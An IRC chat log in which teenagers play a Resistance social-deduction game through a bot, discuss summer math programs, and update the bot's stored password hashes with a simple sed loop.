[2014-12-30T13:51:15-0500] <+JacobEdelman> !vote yellow kittens
[2014-12-30T13:51:16-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:51:17-0500] <@awe> JacobEdelman: is definitely innocent because of that blunder.
[2014-12-30T13:51:25-0500] <alokpathy> If that's the case, awe is a spy
[2014-12-30T13:51:28-0500] <alokpathy> What do you mean by list?
[2014-12-30T13:51:32-0500] <alokpathy> Spies dont know who each other are.
[2014-12-30T13:51:33-0500] <Tamini_> so its either awe or alokpathy
[2014-12-30T13:51:36-0500] <@awe> Yes they do, alokpathy.
[2014-12-30T13:51:40-0500] <Hyper> ^
[2014-12-30T13:51:40-0500] <Tamini_> !vote nah
[2014-12-30T13:51:40-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:51:43-0500] <@awe> Tamini_: but I already passed a mission.
[2014-12-30T13:51:44-0500] <+JacobEdelman> alokpathy: thats not gonna work
[2014-12-30T13:51:45-0500] <alokpathy> !vote nay
[2014-12-30T13:51:45-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:51:45-0500] <&Pidgey> The mission is now live!
[2014-12-30T13:51:54-0500] <Hyper> you already passed 2 missions
[2014-12-30T13:51:57-0500] <alokpathy> awe is the spy
[2014-12-30T13:51:57-0500] <Tamini_> awe: but mission 1 always passes :/
[2014-12-30T13:52:00-0500] <&Pidgey> The mission was a success (S: 2 / 3). The new leader is JacobEdelman. The next mission requires 3 participants.
[2014-12-30T13:52:03-0500] <@awe> Nope.
[2014-12-30T13:52:04-0500] <@awe> See.
[2014-12-30T13:52:05-0500] <Tamini_> oh, wow
[2014-12-30T13:52:10-0500] <Tamini_> it's alok
[2014-12-30T13:52:12-0500] <@awe> Yeah.
[2014-12-30T13:52:14-0500] <+JacobEdelman> !propose awe Hyper JacobEdelman
[2014-12-30T13:52:14-0500] <&Pidgey> Proposed mission: [awe, Hyper, JacobEdelman]
[2014-12-30T13:52:16-0500] <alokpathy> Guys it isn't :|
[2014-12-30T13:52:17-0500] <@awe> !vote yea
[2014-12-30T13:52:17-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:18-0500] <alokpathy> We lost
[2014-12-30T13:52:20-0500] <Hyper> !vote y
[2014-12-30T13:52:20-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:22-0500] <+JacobEdelman> !vote yellow kittens
[2014-12-30T13:52:22-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:23-0500] <@awe> Unless JacobEdelman fails this, in which case JacobEdelman is also a spy.
[2014-12-30T13:52:24-0500] <alokpathy> if you think I'm the spy, we lost
[2014-12-30T13:52:29-0500] <alokpathy> !vote nay
[2014-12-30T13:52:29-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:30-0500] <@awe> !vote yea
[2014-12-30T13:52:30-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:32-0500] <+JacobEdelman> what, why?
[2014-12-30T13:52:35-0500] <Tamini_> !vote yea
[2014-12-30T13:52:35-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:52:35-0500] <&Pidgey> The mission is now live!
[2014-12-30T13:52:39-0500] <+JacobEdelman> I don't follow dat logic awe
[2014-12-30T13:52:45-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 2 / 4). The new leader is alokpathy. The next mission requires 0 participants.
[2014-12-30T13:52:49-0500] <+JacobEdelman> ...
[2014-12-30T13:52:49-0500] <@awe> It has to be you, JacobEdelman.
[2014-12-30T13:52:51-0500] <Tamini_> wait what
[2014-12-30T13:52:53-0500] <@awe> Hyper and I both passed two missions.
[2014-12-30T13:52:54-0500] <+JacobEdelman> Hyper or awe?
[2014-12-30T13:52:56-0500] <Tamini_> 0 participants
[2014-12-30T13:52:56-0500] <Hyper> 0 participants
[2014-12-30T13:52:57-0500] <Hyper> wow
[2014-12-30T13:52:59-0500] <+JacobEdelman> I'm guessing hyper
[2014-12-30T13:53:00-0500] <@awe> !propose
[2014-12-30T13:53:07-0500] <Hyper> I'm probably evil :>
[2014-12-30T13:53:12-0500] <@awe> Try to make a proposal.
[2014-12-30T13:53:14-0500] <@awe> alokpathy: 
[2014-12-30T13:53:20-0500] <+JacobEdelman> !propose awe
[2014-12-30T13:53:23-0500] <+JacobEdelman> !propose
[2014-12-30T13:53:24-0500] <+JacobEdelman> nothing
[2014-12-30T13:53:25-0500] <alokpathy> !propose alokpathy awe Tamini_ 
[2014-12-30T13:53:25-0500] <&Pidgey> Proposed mission: [alokpathy, awe, Tamini_]
[2014-12-30T13:53:28-0500] <alokpathy> !vote yea
[2014-12-30T13:53:28-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:53:29-0500] <@awe> !vote nay
[2014-12-30T13:53:29-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:53:33-0500] <Tamini_> !vote yea
[2014-12-30T13:53:33-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:53:35-0500] <+JacobEdelman> !vote yea
[2014-12-30T13:53:35-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:53:36-0500] <alokpathy> I'm all confused
[2014-12-30T13:53:37-0500] <@awe> There has to be a spy on this.
[2014-12-30T13:53:38-0500] <Tamini_> oh wait JK
[2014-12-30T13:53:39-0500] <Hyper> !vote nay
[2014-12-30T13:53:39-0500] <&Pidgey> A vote has been cast.
[2014-12-30T13:53:39-0500] <&Pidgey> The mission is now live!
[2014-12-30T13:53:39-0500] <+JacobEdelman> :)
[2014-12-30T13:53:41-0500] <Tamini_> hyper isnt on that
[2014-12-30T13:53:43-0500] <Tamini_> fuu
[2014-12-30T13:53:43-0500] <@awe> .-.
[2014-12-30T13:53:47-0500] <+JacobEdelman> hyper is a spy
[2014-12-30T13:53:50-0500] <+JacobEdelman> I'm innocent
[2014-12-30T13:53:56-0500] <Tamini_> hyper should be innocent
[2014-12-30T13:54:00-0500] <+JacobEdelman> no, hes not
[2014-12-30T13:54:06-0500] <Tamini_> I'm p sure its you, alokpathy
[2014-12-30T13:54:07-0500] <+JacobEdelman> guys, vote
[2014-12-30T13:54:08-0500] <Hyper> JacobEdelman: that's exactly what a spy would say
[2014-12-30T13:54:10-0500] <@awe> He passed two missions.
[2014-12-30T13:54:12-0500] <alokpathy> Tamini_: It isn't
[2014-12-30T13:54:16-0500] <Tamini_> yeah uh vote no
[2014-12-30T13:54:21-0500] <Tamini_> i hecked up and voted yes
[2014-12-30T13:54:21-0500] <+JacobEdelman> Hyper: that's exactly what a spy would say
[2014-12-30T13:54:23-0500] <@awe> The mission already got voted yes.
[2014-12-30T13:54:25-0500] <Hyper> JacobEdelman: that's exactly what a spy would say
[2014-12-30T13:54:27-0500] <@awe> Tamini_: vote in the mission
[2014-12-30T13:54:39-0500] <@awe> I'm just hoping we won. .-.
[2014-12-30T13:54:47-0500] <&Pidgey> The mission was a failure with 1 saboteurs (S: 2 / 5). The new leader is Hyper. The next mission requires 3 participants.
[2014-12-30T13:54:47-0500] <&Pidgey> Game over: Spies win!
[2014-12-30T13:54:51-0500] <alokpathy> gdi
[2014-12-30T13:54:54-0500] <Hyper> q.q
[2014-12-30T13:54:55-0500] <@awe> alokpathy: and JacobEdelman, right?
[2014-12-30T13:54:56-0500] <+JacobEdelman> this made me smile inside: 1:51 PM <@awe> JacobEdelman: is definitely innocent because of that blunder.
[2014-12-30T13:54:56-0500] <Tamini_> LOL
[2014-12-30T13:54:58-0500] <Tamini_> no
[2014-12-30T13:54:59-0500] <alokpathy> awe: No
[2014-12-30T13:54:59-0500] <+JacobEdelman> nope
[2014-12-30T13:55:00-0500] <Tamini_> its me and jacob
[2014-12-30T13:55:02-0500] <alokpathy> gid
[2014-12-30T13:55:02-0500] <+JacobEdelman> :)
[2014-12-30T13:55:03-0500] <+JacobEdelman> :)
[2014-12-30T13:55:07-0500] <alokpathy> awe: >:|
[2014-12-30T13:55:08-0500] <@awe> JacobEdelman: I realized it was you as soon as the mission failed though.
[2014-12-30T13:55:12-0500] <+JacobEdelman> true
[2014-12-30T13:55:15-0500] <+JacobEdelman> but it was too late
[2014-12-30T13:55:19-0500] <@awe> No, it wasn't.
[2014-12-30T13:55:20-0500] <+JacobEdelman> you had no idea it was tamini
[2014-12-30T13:55:24-0500] <Tamini_> but you had no idea who the other spy was
[2014-12-30T13:55:25-0500] <+JacobEdelman> and I already failed 2 missions
[2014-12-30T13:55:25-0500] <Tamini_> ^
[2014-12-30T13:55:29-0500] <@awe> I wouldn't have put Tamini_ on the mission
[2014-12-30T13:55:33-0500] <@awe> because she hadn't been in any of the missions
[2014-12-30T13:55:37-0500] <@awe> I actually would've done alokpathy 
[2014-12-30T13:55:38-0500] <Tamini_> it was 50/50 me vs alok
[2014-12-30T13:55:39-0500] <+JacobEdelman> right...
[2014-12-30T13:55:59-0500] <+JacobEdelman> :)
[2014-12-30T13:56:03-0500] <+JacobEdelman> that was fun
[2014-12-30T13:56:18-0500] <@awe> I even said JacobEdelman was a spy if the mission failed.
[2014-12-30T13:56:24-0500] <+JacobEdelman> yes
[2014-12-30T13:56:27-0500] <@awe> Because I realized you totally would play dumb about that sutff.
[2014-12-30T13:56:28-0500] <@awe> stuff*
[2014-12-30T13:56:29-0500] <+JacobEdelman> but you didn't get tamini
[2014-12-30T13:56:34-0500] <+JacobEdelman> yes, I would
[2014-12-30T13:56:34-0500] <@awe> Again, I wouldn't have proposed her.
[2014-12-30T13:56:38-0500] <+JacobEdelman> alok tried it, too late
[2014-12-30T13:56:38-0500] <@awe> alokpathy: is an idiot.
[2014-12-30T13:56:42-0500] <+JacobEdelman> nah
[2014-12-30T13:56:44-0500] <+JacobEdelman> he did fine
[2014-12-30T13:56:47-0500] <@awe> alokpathy: knew who ALL OF THE REBELS WERE
[2014-12-30T13:56:52-0500] <@awe> Hyper: and I were proven to be rebels.
[2014-12-30T13:56:57-0500] <@awe> alokpathy: knew he was a rebel.
[2014-12-30T13:57:06-0500] <@awe> Therefore, he should've known that he proposed a spy.
[2014-12-30T13:57:19-0500] <+JacobEdelman> awe, I intentionally put you on my mission cause I know you would loudly proclaim my innocence once I did that "blunder"
[2014-12-30T13:57:41-0500] <@awe> Again, I said immediately afterward that it wasn't true.
[2014-12-30T13:57:44-0500] <@awe> when you failed the mission.
[2014-12-30T13:57:54-0500] <@awe> You would not have own had alokpathy not proposed the mission with Tamini_ on it.
[2014-12-30T13:58:04-0500] <@awe> And there's objectively no reason he should've proposed that mission.
[2014-12-30T13:58:21-0500] <@awe> alokpathy: or Tamini_ had to be a spy.
[2014-12-30T13:58:22-0500] <Tamini_> yeah he hecked up
[2014-12-30T13:58:23-0500] <@awe> alokpathy: knew he wasn't a spy.
[2014-12-30T13:58:24-0500] <Tamini_> but thats okay
[2014-12-30T13:58:51-0500] <@awe> The point is JacobEdelman didn't win because of some brilliant scheme.
[2014-12-30T13:58:57-0500] <@awe> When he failed the mission, I knew he was a spy.
[2014-12-30T13:59:05-0500] <@awe> He won because of a bad mission proposal.
[2014-12-30T13:59:19-0500] <+JacobEdelman> no
[2014-12-30T13:59:33-0500] <+JacobEdelman> Tamini_ AND JacobEdelman won becuase of a brillant scheme :P
[2014-12-30T13:59:39-0500] <@awe> N.
[2014-12-30T13:59:40-0500] <+JacobEdelman> :P
[2014-12-30T13:59:47-0500] <@awe> It's just because of a bad proposal.
[2014-12-30T13:59:47-0500] <+JacobEdelman> I refuse to listen to logic
[2014-12-30T13:59:58-0500] <@awe> No spy passes two missions.
[2014-12-30T13:59:59-0500] <Tamini_> but thats a part of the game
[2014-12-30T14:00:02-0500] <+JacobEdelman> I will ignre your reality and substitute it with my own
[2014-12-30T14:00:04-0500] <@awe> If they do, that's pretty much a guaranteed loss.
[2014-12-30T14:00:07-0500] <Tamini_> people do stupid things
[2014-12-30T14:00:13-0500] <+JacobEdelman> awe: its not actually
[2014-12-30T14:00:25-0500] <+JacobEdelman> awe: thats happened in games that havn't been lost
[2014-12-30T14:00:25-0500] <@awe> Yes, it is.
[2014-12-30T14:00:31-0500] <+JacobEdelman> awe: I've played a lot
[2014-12-30T14:00:37-0500] <+JacobEdelman> on day 10 of playing straigt
[2014-12-30T14:00:41-0500] <+JacobEdelman> and game ~30
[2014-12-30T14:00:46-0500] <+JacobEdelman> things start getting weird
[2014-12-30T14:00:56-0500] <alokpathy> Wait when were awe and Hyper proven to be rebels?
[2014-12-30T14:01:08-0500] <Tamini_> awe and hyper passed two missions
[2014-12-30T14:01:11-0500] <@awe> alokpathy: mission 1 and 3.
[2014-12-30T14:01:19-0500] <@awe> or 1 and 4.
[2014-12-30T14:01:23-0500] <@awe> We both voted yes.
[2014-12-30T14:01:29-0500] <@awe> and passed two missions.
[2014-12-30T14:01:30-0500] <@awe> .-.
[2014-12-30T14:01:36-0500] <@awe> alokpathy: should've paid more attention.
[2014-12-30T14:01:39-0500] <@awe> :(
[2014-12-30T14:02:08-0500] <alokpathy> :(
[2014-12-30T14:02:11-0500] <alokpathy> Sorry guys
[2014-12-30T14:02:21-0500] <@awe> JacobEdelman: even if it wasn't guaranteed, there's still way better odds that Hyper and I were both innocent
[2014-12-30T14:02:29-0500] <@awe> JacobEdelman: and Tamini_ who had said nothing was a spy.
[2014-12-30T14:02:44-0500] <Hyper> besides, who could take me for a bad guy *cuteface*
[2014-12-30T14:02:57-0500] <@awe> Hyper: Are you as adorable as wittle nezorg?
[2014-12-30T14:03:15-0500] <Hyper> idk
[2014-12-30T14:07:04-0500] <+JacobEdelman> I can confirm visual, but I've never seen nezorg so I can't compare
[2014-12-30T14:07:16-0500] <+JacobEdelman> wait
[2014-12-30T14:07:22-0500] <+JacobEdelman> Hyper, you gonna be at PennApps?
[2014-12-30T14:07:26-0500] <Hyper> yep
[2014-12-30T14:07:32-0500] <+JacobEdelman> okay, so we will see you there
[2014-12-30T14:08:31-0500] <Hyper> I'm still not sure how I'm getting there, but w/e
[2014-12-30T14:12:56-0500] <+JacobEdelman> walk
[2014-12-30T14:12:59-0500] <+JacobEdelman> how far can it be?
[2014-12-30T14:13:04-0500] <+JacobEdelman> :P
[2014-12-30T14:18:46-0500] <alokpathy> hardmath123: If you know someplace you can stay near Princeton during the summer, you should apply to PACT
[2014-12-30T14:19:06-0500] <+hardmath123> Hmm, I have family in NJ
[2014-12-30T14:19:34-0500] <alokpathy> Awesome :D
[2014-12-30T14:19:40-0500] <alokpathy> It's basically like
[2014-12-30T14:19:44-0500] <alokpathy> theoretical CS and discrete math
[2014-12-30T14:19:55-0500] <alokpathy> very few math contest kids
[2014-12-30T14:20:12-0500] <alokpathy> and not the obnoxious ones
[2014-12-30T14:20:48-0500] <alokpathy> hardmath123: http://rajivgandhics.wordpress.com/
[2014-12-30T14:20:56-0500] <+hardmath123> found it already :P
[2014-12-30T14:21:35-0500] <alokpathy> ye
[2014-12-30T14:23:38-0500] <Tamini_> lol
[2014-12-30T14:23:49-0500] <Tamini_> i love how contest kids are negative :<
[2014-12-30T14:24:04-0500] <Tamini_> hardmath123: come to ROSS instead, we give you a place to stay
[2014-12-30T14:24:09-0500] <Tamini_> plus you'll get to see me
[2014-12-30T14:24:15-0500] <+hardmath123> but i'll see you at HMMT
[2014-12-30T14:24:16-0500] <alokpathy> hardmath123: If you go to PACT you can see both me and JacobEdelman 
[2014-12-30T14:24:28-0500] <alokpathy> hardmath123: and you can play 10-player resistance on a daily basis
[2014-12-30T14:24:31-0500] <+hardmath123> are you both going to PACT?
[2014-12-30T14:24:40-0500] <alokpathy> JacobEdelman: will and I probably will
[2014-12-30T14:24:51-0500] <+hardmath123> the sample problems look sort of easy
[2014-12-30T14:25:00-0500] <alokpathy> Oh don't look at them
[2014-12-30T14:25:04-0500] <alokpathy> they haven't been updated in a whiel
[2014-12-30T14:25:41-0500] <+hardmath123> "A good understanding of Algebra 1 (or the equivalent) is all that is required."
[2014-12-30T14:25:43-0500] <alokpathy> and they're mainly for the beginner's group, who aren't expected to have that much experience in math.
[2014-12-30T14:25:51-0500] <alokpathy> hardmath123: for the beginner's group
[2014-12-30T14:26:03-0500] <alokpathy> in the advanced group, you'll need discrete math and algorithms knowledge
[2014-12-30T14:26:35-0500] <alokpathy> beginner's group: counting, probability, graph theory, proofs
[2014-12-30T14:26:45-0500] <alokpathy> advanced group: approximation and randomized algorithms
[2014-12-30T14:31:05-0500] <Tamini_> lol
[2014-12-30T14:31:22-0500] <Tamini_> hardmath123: are you saying you only want to see me once :P
[2014-12-30T14:41:57-0500] <+JacobEdelman> hardmath123: you could possibly skip into the advanced group
[2014-12-30T14:41:59-0500] <+JacobEdelman> its been done before
[2014-12-30T14:42:07-0500] <+JacobEdelman> and I'd reccomend you for it
[2014-12-30T14:42:45-0500] <+hardmath123> Tamini_: ummmm you should come to the west coast sometime instead
[2014-12-30T14:42:49-0500] <+hardmath123> Tamini_: flying is hard :P
[2014-12-30T14:43:07-0500] <Tamini_> heh
[2014-12-30T14:43:18-0500] <Tamini_> i might go for college visits sometimee
[2014-12-30T14:43:30-0500] <Tamini_> do you live near any big colleges :P
[2014-12-30T14:45:48-0500] <+hardmath123> All that separates me and Stanford is a very pleasant bike ride.
[2014-12-30T14:45:51-0500] <+hardmath123> :P
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[2014-12-30T14:46:54-0500] <@awe> hardmath123: flying is easy.
[2014-12-30T14:50:29-0500] <Tamini_> well then
[2014-12-30T14:50:32-0500] <Tamini_> lol
[2014-12-30T14:50:39-0500] <Tamini_> sumac it is :P
[2014-12-30T14:50:41-0500] <Tamini_> jk
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[2014-12-30T15:02:58-0500] <alokpathy> Oh, wait, now that I think about it, I have met obnoxious contest math kids
[2014-12-30T15:04:03-0500] <JacobEdelman> who?
[2014-12-30T15:04:32-0500] <JacobEdelman> (also, I was gone rather weirdly from 2:48 till 3:02, what happenend?)
[2014-12-30T15:04:46-0500] <alokpathy> JacobEdelman: School ended
[2014-12-30T15:05:00-0500] <JacobEdelman> ...
[2014-12-30T15:05:07-0500] <JacobEdelman> awe: my password is no longer working
[2014-12-30T15:05:12-0500] <JacobEdelman> pidgey is broken
[2014-12-30T15:05:13-0500] <@awe> OH.
[2014-12-30T15:05:15-0500] <JacobEdelman> the world is ending
[2014-12-30T15:05:23-0500] <JacobEdelman> WERE ALL GONNA DIE!!!!!!!!
[2014-12-30T15:05:24-0500] <alokpathy> awe: had a realization
[2014-12-30T15:05:28-0500] <JacobEdelman> doom
[2014-12-30T15:05:29-0500] <JacobEdelman> doom
[2014-12-30T15:05:30-0500] <@awe> THAT'S WHY I NEVER UPDATED PIDGEY.
[2014-12-30T15:05:37-0500] <JacobEdelman> doom dududu doom
[2014-12-30T15:05:45-0500] <@awe> The old version of SHA-256 that I was using wasn't valid.
[2014-12-30T15:05:53-0500] <@awe> Or SHA-512.
[2014-12-30T15:05:54-0500] <@awe> I forget which.
[2014-12-30T15:06:02-0500] <@awe> So, I switched to a proper one (from OpenSSL).
[2014-12-30T15:06:17-0500] <@awe> This means all the hashes I have saved for everyone are invalid.
[2014-12-30T15:06:48-0500] <JacobEdelman> music to accompany the end of the world: https://www.youtube.com/watch?v=z5oDh7o3a00
[2014-12-30T15:07:01-0500] <@awe> It's not the end of the world.
[2014-12-30T15:07:07-0500] <@awe> People just need to give me a hash.
[2014-12-30T15:07:08-0500] <JacobEdelman> yes, it is
[2014-12-30T15:07:13-0500] <JacobEdelman> ... thats not easy
[2014-12-30T15:07:18-0500] <Tamini_> LOL
[2014-12-30T15:07:26-0500] <@awe> Sure it is.
[2014-12-30T15:07:28-0500] <@awe> http://hash.online-convert.com/sha512-generator
[2014-12-30T15:07:31-0500] <@awe> Hold on though.
[2014-12-30T15:07:36-0500] <@awe> I'm going to test if this website is valid.
[2014-12-30T15:07:56-0500] <@awe> Yah.
[2014-12-30T15:07:57-0500] <@awe> this is good.
[2014-12-30T15:08:17-0500] <@awe> If you don't want to use an online converter, you can write it yourself
[2014-12-30T15:08:21-0500] <JacobEdelman> iIvJN9kyYjriw2/4hTtA/OBMeJt7z0QTfqdWRrUa8P0WBj3nhnqK4FF5pbK/Cbo/xRcnM97Dc/vvbzZ71s/n7w==
[2014-12-30T15:08:23-0500] <JacobEdelman> base 64
[2014-12-30T15:08:30-0500] <@awe> No.
[2014-12-30T15:08:33-0500] <@awe> Give me hex.
[2014-12-30T15:08:36-0500] <+hardmath123> can't you, like, do it with openssl?
[2014-12-30T15:08:41-0500] <JacobEdelman> 888BC937D932623AE2C36FF8853B40FCE04C789B7BCF44137EA75646B51AF0FD16063DE7867A8AE05179A5B2BF09BA3FC5172733DEC373FBEF6F367BD6CFE7EF
[2014-12-30T15:08:43-0500] <@awe> hardmath123: yeah, you can do it locally with openssl
[2014-12-30T15:08:45-0500] <JacobEdelman> there
[2014-12-30T15:08:48-0500] <@awe> JacobEdelman: give me lower case hex 
[2014-12-30T15:09:03-0500] <JacobEdelman> 888bc937d932623ae2c36ff8853b40fce04c789b7bcf44137ea75646b51af0fd16063de7867a8ae05179a5b2bf09ba3fc5172733dec373fbef6f367bd6cfe7ef
[2014-12-30T15:09:06-0500] <JacobEdelman> ther
[2014-12-30T15:09:08-0500] <JacobEdelman> *there
[2014-12-30T15:09:19-0500] <+hardmath123> awe: wait, i forgot my pass. can I just make a new one?
[2014-12-30T15:09:23-0500] <@awe> hardmath123: yes.
[2014-12-30T15:09:33-0500] <@awe> I don't really care what, just PM me with the hash.
[2014-12-30T15:09:42-0500] <@awe> JacobEdelman: I hate you.
[2014-12-30T15:09:51-0500] <@awe> JacobEdelman: I'm just going to unregister all of your nicknames except JacobEdelman.
[2014-12-30T15:10:40-0500] <@awe> JacobEdelman: I aint' about to update your forty different nicknames.
[2014-12-30T15:10:52-0500] <Tamini> lol
[2014-12-30T15:11:20-0500] <bob_twinkles> if they all have the same password, just run the file through sed =P
[2014-12-30T15:11:20-0500] <JacobEdelman> its the same hex
[2014-12-30T15:11:23-0500] <JacobEdelman> for all of them
[2014-12-30T15:11:26-0500] <JacobEdelman> yeah
[2014-12-30T15:11:32-0500] <JacobEdelman> hat bob_twinkles said
[2014-12-30T15:11:33-0500] <@awe> bob_twinkles: o lawd.
[2014-12-30T15:11:34-0500] <JacobEdelman> *what
[2014-12-30T15:11:40-0500] <bob_twinkles> ?
[2014-12-30T15:11:45-0500] <@awe> I'm bad at sed.
[2014-12-30T15:11:47-0500] <bob_twinkles> sed is a perfectly valid solution to this problem
[2014-12-30T15:11:48-0500] <@awe> Someone write it for me.
[2014-12-30T15:11:51-0500] <JacobEdelman> just use python
[2014-12-30T15:11:55-0500] <JacobEdelman> :)
[2014-12-30T15:12:11-0500] <JacobEdelman> the update worked
[2014-12-30T15:12:13-0500] <JacobEdelman> give me a sec
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[2014-12-30T15:12:16-0500] Pidgey sets mode +v JacobEdelman
[2014-12-30T15:12:22-0500] <+JacobEdelman> ahh
[2014-12-30T15:12:24-0500] <bob_twinkles> cat old_passwords | sed s/old_pass/new_pass/g > new_passwords
[2014-12-30T15:12:24-0500] <+JacobEdelman> voiced again
[2014-12-30T15:12:34-0500] <@awe> That's not how it's stored though.
[2014-12-30T15:12:39-0500] <+JacobEdelman> wait
[2014-12-30T15:12:42-0500] <+JacobEdelman> it doesn't matter
[2014-12-30T15:12:48-0500] <bob_twinkles> how is it stored then?
[2014-12-30T15:12:49-0500] <+JacobEdelman> thats replacing all appearences 
[2014-12-30T15:12:52-0500] <+JacobEdelman> of old_pass
[2014-12-30T15:12:52-0500] <Tamini> uh also 
[2014-12-30T15:12:54-0500] <+JacobEdelman> with new_pass
[2014-12-30T15:12:56-0500] <+hardmath123> awe: http://hastebin.com/ibopawilag
[2014-12-30T15:12:58-0500] <Tamini> awe: your znc is borking on me again
[2014-12-30T15:12:59-0500] <@awe> Is there a way I can do cat * | sed s/old_password/new_password/g > into their individual files?
[2014-12-30T15:13:17-0500] <+hardmath123> xargs?
[2014-12-30T15:13:28-0500] <bob_twinkles> for i in $(ls) do cat $i | sed [...]
[2014-12-30T15:13:35-0500] <+hardmath123> that too
[2014-12-30T15:13:36-0500] <bob_twinkles>  > $i_new; done
[2014-12-30T15:13:40-0500] <+JacobEdelman> dat bash
[2014-12-30T15:13:52-0500] <@awe> sed has to make new files, right?
[2014-12-30T15:14:01-0500] <@awe> It can't stream edit and then output into the same file?
[2014-12-30T15:14:03-0500] <+JacobEdelman> just > to the same file
[2014-12-30T15:14:07-0500] <+JacobEdelman> so end it with
[2014-12-30T15:14:09-0500] <bob_twinkles> it tends to get sad if you pipe it back to the same file
[2014-12-30T15:14:12-0500] <+JacobEdelman> >$i
[2014-12-30T15:14:16-0500] <+JacobEdelman> it does?
[2014-12-30T15:14:16-0500] <@awe> No, that doesn't work, JacobEdelman.
[2014-12-30T15:14:17-0500] <+JacobEdelman> weird
[2014-12-30T15:14:21-0500] <@awe> That's what I was saying.
[2014-12-30T15:14:21-0500] <bob_twinkles> you'd probably want to mkdir new
[2014-12-30T15:14:27-0500] <bob_twinkles> and then pipe it to new/$i
[2014-12-30T15:14:29-0500] <+JacobEdelman> pipe into a different file
[2014-12-30T15:14:42-0500] <+JacobEdelman> than pipe diff file into original file
[2014-12-30T15:14:46-0500] <+JacobEdelman> than delete diff file
[2014-12-30T15:14:56-0500] <+JacobEdelman> easy peasy... well not really, but still, it'll work
[2014-12-30T15:15:12-0500] <+JacobEdelman> oh, did people already say that?
[2014-12-30T15:15:25-0500] <bob_twinkles> yes
[2014-12-30T15:16:08-0500] <@awe> The real question is: How much do I care about preserving JacobEdelman's registration of a billion things?
[2014-12-30T15:16:18-0500] <alokpathy> 0
[2014-12-30T15:16:31-0500] <Tamini> just
[2014-12-30T15:16:33-0500] <Tamini> reset errything
[2014-12-30T15:16:55-0500] <@awe> Then we lose people being registered at positions and stuff.
[2014-12-30T15:16:56-0500] <alokpathy> JacobEdelman: Oh can I have an invite to proton mail?
[2014-12-30T15:18:06-0500] <+JacobEdelman> I can't give them
[2014-12-30T15:18:11-0500] <+JacobEdelman> sorry
[2014-12-30T15:18:40-0500] <@awe> hardmath123: you should be updated.
[2014-12-30T15:19:12-0500] <+JacobEdelman> awe: you don't really have to I guess
[2014-12-30T15:19:15-0500] <+JacobEdelman> it would just be nice
[2014-12-30T15:19:25-0500] <Tamini> wait darn you cant
[2014-12-30T15:20:51-0500] <@awe> bash: syntax error near unexpected token `|'
[2014-12-30T15:21:02-0500] <@awe> for i in $(ls) do cat $i | sed ... > new/$i
[2014-12-30T15:21:23-0500] <Tamini> alokpathy: go do the request thing
[2014-12-30T15:21:27-0500] <Tamini> it'll probably take forever tho
[2014-12-30T15:21:28-0500] <bob_twinkles> derp
[2014-12-30T15:21:34-0500] <bob_twinkles> for i in $(ls); do ...
[2014-12-30T15:21:54-0500] <bob_twinkles> awe: ^ damn semicolons
[2014-12-30T15:22:03-0500] <@awe> Then I just get an >
[2014-12-30T15:22:47-0500] <bob_twinkles> for i in $(ls); do cat $i | sed [...] > new/$i; done
[2014-12-30T15:22:49-0500] <@awe> Probably because JacobEdelman registered a fucking backtick.
[2014-12-30T15:22:50-0500] <bob_twinkles> ?
[2014-12-30T15:22:54-0500] <bob_twinkles> -_-
[2014-12-30T15:22:56-0500] <bob_twinkles> yep
[2014-12-30T15:23:01-0500] <bob_twinkles> that'd probably do it lol
[2014-12-30T15:23:03-0500] <@awe> Gotta escape $i, right?
[2014-12-30T15:23:31-0500] <@awe> Nah, it worked actually.
[2014-12-30T15:23:34-0500] <bob_twinkles> oh ok
[2014-12-30T15:24:16-0500] <@awe> It should be good now.
[2014-12-30T15:25:03-0500] <@awe> JacobEdelman: I think the password for all the channels you registered is still the old one.
[2014-12-30T15:27:42-0500] <alokpathy> Tamini: Wait what?
[2014-12-30T15:28:01-0500] <Tamini> alokpathy:https://protonmail.ch/invite
[2014-12-30T15:28:02-0500] <alokpathy> oh, for protonmail?
[2014-12-30T15:28:02-0500] <Tamini> i think
[2014-12-30T15:28:04-0500] <Tamini> ye
[2014-12-30T15:28:44-0500] <alokpathy> Wait but I want it now :|
[2014-12-30T15:30:08-0500] <Tamini> lolol
[2014-12-30T15:30:09-0500] <Tamini> patience
[2014-12-30T15:30:26-0500] <Tamini> so we can send each other encrypted messages through protonmail
[2014-12-30T15:32:18-0500] <+hardmath123> awe: yaaay the password worked
[2014-12-30T15:32:20-0500] <+hardmath123> :D
[2014-12-30T15:32:30-0500] <@awe> bob_twinkles: PM me hash (optionally encrypted)
[2014-12-30T15:33:00-0500] <bob_twinkles> ?
[2014-12-30T15:33:05-0500] <bob_twinkles> is my nick even registsered
[2014-12-30T15:33:10-0500] <@awe> Yes.
[2014-12-30T15:33:13-0500] <bob_twinkles> huh
[2014-12-30T15:33:19-0500] <bob_twinkles> fuck if I know what the password is
[2014-12-30T15:33:23-0500] <@awe> I can just delete yours then.
[2014-12-30T15:33:36-0500] <bob_twinkles> gimmie a sec
[2014-12-30T15:34:12-0500] <Tamini> lol
[2014-12-30T15:34:15-0500] <Tamini> awe can you delete me too
[2014-12-30T15:34:43-0500] <@awe> Tamini: done
[2014-12-30T15:36:10-0500] <Tamini> pls gib voice
[2014-12-30T15:36:10-0500] <Tamini> <3
[2014-12-30T15:36:13-0500] awe sets mode +v Tamini
[2014-12-30T15:36:19-0500] <@awe> Okay, I'll be back in a bit.
[2014-12-30T15:36:20-0500] <@awe> Sorry.
[2014-12-30T15:38:18-0500] <+hardmath123> I need a new desktop background. That frog on a leaf is getting old.
[2014-12-30T15:42:49-0500] <+Tamini> lol
[2014-12-30T15:42:52-0500] <+Tamini> draw your own
[2014-12-30T15:42:52-0500] <+Tamini> <3
[2014-12-30T15:44:55-0500] <+hardmath123> I took a really good picture down in Santa Cruz a couple days ago.
[2014-12-30T15:45:10-0500] <+hardmath123> I might use that.
[2014-12-30T16:00:43-0500] <Tamini_> lol
